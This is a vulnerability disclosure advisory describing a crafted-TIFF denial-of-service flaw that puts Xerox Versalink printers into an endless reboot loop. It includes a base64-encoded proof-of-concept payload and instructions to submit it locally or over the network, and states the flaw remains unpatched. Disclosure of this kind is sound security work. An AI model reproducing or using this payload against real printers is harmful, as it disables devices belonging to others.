Xerox Versalink Denial Of Service

`[+] Credits: Mahmoud Al-Qudsi  
[+] Website: https://neosmart.net/  
[+] Source: https://neosmart.net/blog/?p=4865  
[+] Media: https://twitter.com/mqudsi and https://twitter.com/neosmart  
  
[Vendor]  
Xerox Corporation  
  
[Product]  
Xerox Versalink printers, other Xerox printers/copiers.  
  
[Vulnerability Type]  
Remote denial-of-service leading to bricked device.  
  
[Security Issue]  
A specifically crafted TIFF payload may be submitted to the printer's job queue  
(in person or over the network) by unauthenticated/unprivileged users or network  
or internet attackers by means of a JavaScript payload. The device will panic  
upon attempting to read the submitted file and a physical reboot will be  
required. Upon reboot, the device will attempt to resume the last-printed job,  
triggering the panic once more. The process repeats ad-infinitum.  
  
[Exploit/PoC]  
Extract the TIFF contents of the base64-encode archive below and submit directly  
to the job queue on a vulnerable printer to trigger the exploit:  
  
UmFyIRoHAQAzkrXlCgEFBgAFAQGAgAD5BbdHEwMC5QAE5QAA9kPUNIAAAANDTVRYZXJveCByZW1v  
dGUgYnJpY2sgcGF5bG9hZCBieSBNYWhtb3VkIEFsLVF1ZHNpDQpTZWUgaHR0cHM6Ly9uZW9zbWFy  
dC5uZXQvYmxvZy8/cD00ODY1IGZvciBtb3JlIGluZm8uAOsG2ysrAgMLjQEEvAMgCd+uuYADAA94  
ZXJveCBicmljay50aWYKAwIA/Fsg4nPVAcISiiBENSb2YDSTz9+g+ofkEQVoaUFeJvK3kDY8WbGp  
HgjY0bFPe8gzgjwjaJNmzSGzlGGm0ZRkySYEISicQttsKElCEti8EbSsdkcDz6/WmRz/N1o/EIEf  
YPQUn+fPO4RLXjWeRbJT8isQTI5AnW6pF0WsD5DaxM4tgNHp3U7xR1fsHuvMYwMeDGyHIB13VlED  
BQQA  
  
[Network Access]  
Local or remote  
  
The sample payload may also be submitted to exploit a Xerox printer with a known  
ip address or host name over the web by taking advantage of the unprotected HTTP  
POST interface exposed by the device on its network interface.  
  
[Severity]  
Critical  
  
The denial-of-service attack results in a semi-permanent "bricking" of the Xerox  
printer. Recovery may be possible if there are unapplied firmware updates by  
forcing an update over the network, which clears the job queue in the process.  
Otherwise, manually clearing the non-volatile storage memory on the device's  
mainboard is required to break out of the loop.  
  
[Disclosure Timeline]  
- September 26, 2019: Reported to Xerox  
- January 14, 2020: Confirmed by Xerox in response to a request for updates  
- January 25, 2022: Publicly disclosed, remains unpatched and exploitable  
  
Mahmoud  
  
  
  
`